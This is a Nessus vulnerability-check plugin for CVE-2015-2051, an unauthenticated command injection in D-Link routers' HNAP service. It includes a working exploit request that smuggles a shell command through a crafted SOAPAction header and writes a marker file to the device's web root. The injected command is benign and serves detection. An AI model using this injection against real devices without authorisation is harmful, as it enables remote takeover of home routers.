The remote D-Link device is affected by a remote command execution vulnerability due to a flaw in the GetDeviceSettings functionality of the HNAP (Home Network Administration Protocol) server. A remote attacker can exploit this, via a crafted SOAPAction header, to bypass authentication and inject arbitrary commands.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(84086);
script_version("1.8");
script_set_attribute(attribute:"plugin_modification_date", value:"2023/04/25");
script_cve_id("CVE-2015-2051");
script_bugtraq_id(74870);
script_xref(name:"EDB-ID", value:"37171");
script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/08/10");
script_name(english:"D-Link Router HNAP GetDeviceSettings Remote Command Execution");
script_set_attribute(attribute:"synopsis", value:
"The remote device is affected by a remote command execution
vulnerability.");
script_set_attribute(attribute:"description", value:
"The remote D-Link device is affected by a remote command execution
vulnerability due to a flaw in the GetDeviceSettings functionality of
the HNAP (Home Network Administration Protocol) server. A remote
attacker can exploit this, via a crafted SOAPAction header, to bypass
authentication and inject arbitrary commands.");
# http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10051
script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?659398bc");
script_set_attribute(attribute:"solution", value:
"Upgrade the firmware of the device to version 1.05b01.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
script_set_attribute(attribute:"cvss_score_source", value:"CVE-2015-2051");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2015/02/13");
script_set_attribute(attribute:"patch_publication_date", value:"2015/04/24");
script_set_attribute(attribute:"plugin_publication_date", value:"2015/06/10");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/h:d-link:dir-645");
script_end_attributes();
script_category(ACT_DESTRUCTIVE_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2015-2023 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("http_version.nasl");
script_require_ports("Services/www", 80, 443);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
port = get_http_port(default:80, embedded:TRUE);
# Verify that this is a d-link device with HNAP
# before we go any further. (Pro-tip: HNAP isn't
# something that can be easily turned off)
res = http_send_recv3(
method : "GET",
port : port,
item : "/HNAP1/",
exit_on_fail : TRUE
);
if (
# Ensure vendor is D-Link
"<VendorName>D-Link</VendorName>" >!< res[2] ||
# and that the SOAPAction we'll be calling is there
"<string>http://purenetworks.com/HNAP1/GetDeviceSettings</string>" >!< res[2]
) exit(0, "The device is not an affected D-Link product " +
"or does not have the affected HNAP function accessible " +
"from port " + port);
dir = '/HNAP1/';
file = 'nessus_scan.html';
# Command to create a web accessible file on the host
exploit_result = "dlink_cve-2015-2051.nasl " + rand_str(length:10) + " " + unixtime();
exploit_command = 'echo "' + exploit_result + '" > ' + file;
# Notes about the http_send_recv3() call:
# 1. The add_headers arg is crafted to ensure that the
# Content-Length header is placed before the SOAPAction
# header.
# 2. There is no exit_on_fail argument because the device
# does not respond to the exploit request. To confirm
# the vulnerability, we check for the file we created.
res = http_send_recv3(
method : "POST",
item : dir,
port : port,
add_headers : make_array(
"Content-Length", '1\r\n' +
"SOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/1;" + exploit_command + ';'
)
);
# This is used in the report later
exploit_request = http_last_sent_request();
# Check if the file was uploaded successfully
res = NULL;
res = http_send_recv3(
method: "GET",
item: dir + file,
port: port,
exit_on_fail:TRUE
);
# NOTE: This plugin does not attempt to delete the file
# on the off-chance that the rm command goes awry.
if (exploit_result >< res[2])
{
security_report_v4(
port : port,
severity : SECURITY_HOLE,
cmd : exploit_command,
request : make_list(exploit_request, build_url(qs:dir+file, port:port)),
output : chomp(res[2]),
rep_extra : '\nNote that this file has not been removed by Nessus and will need to be' +
' removed manually (' + dir + file + ').'
);
}
else audit(AUDIT_HOST_NOT, "vulnerable on port " + port);